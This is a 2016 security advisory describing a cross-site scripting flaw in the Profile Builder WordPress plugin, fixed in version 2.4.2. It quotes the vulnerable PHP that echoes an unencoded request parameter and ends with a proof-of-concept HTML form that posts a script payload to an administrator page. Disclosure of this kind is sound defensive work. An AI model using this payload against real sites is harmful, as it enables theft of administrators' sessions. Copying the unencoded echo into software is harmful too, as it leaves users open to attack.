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- Cross-Site Scripting vulnerability in Profile Builder WordPress Plugin
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- Yorick Koster, July 2016
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- Abstract
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- A Cross-Site Scripting vulnerability was found in the Profile Builder
- WordPress Plugin. This issue allows an attacker to perform a wide
- variety of actions, such as stealing Administrators' session tokens, or
- performing arbitrary actions on their behalf. In order to exploit this
- issue, the attacker has to lure/force a logged on WordPress
- Administrator into opening a malicious website.
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- OVE ID
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- OVE-20160712-0014
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- Tested versions
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- This issue was successfully tested on Profile Builder - front-end user
- registration, user profile and user login WordPress Plugin version
- 2.4.0.
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- Fix
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- This issue is resolved in Profile Builder version 2.4.2.
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- Details
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- https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_profile_builder_wordpress_plugin.html
- The issue exists in the file class-email-confirmation.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
- <form id="movies-filter" method="get">
- <!-- For plugins, we also need to ensure that the form posts back to our current page -->
- <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
- <!-- Now we can render the completed list table -->
- <?php $listTable->display() ?>
- </form>
- Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
- Proof of concept
- <html>
- <body>
- <form action="http://<target>/wp-admin/users.php?page=unconfirmed_emails" method="POST">
- <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
- <input type="submit" value="Submit request" />
- </form>
- </body>
- </html>
- # 0day.today [2016-07-13] #
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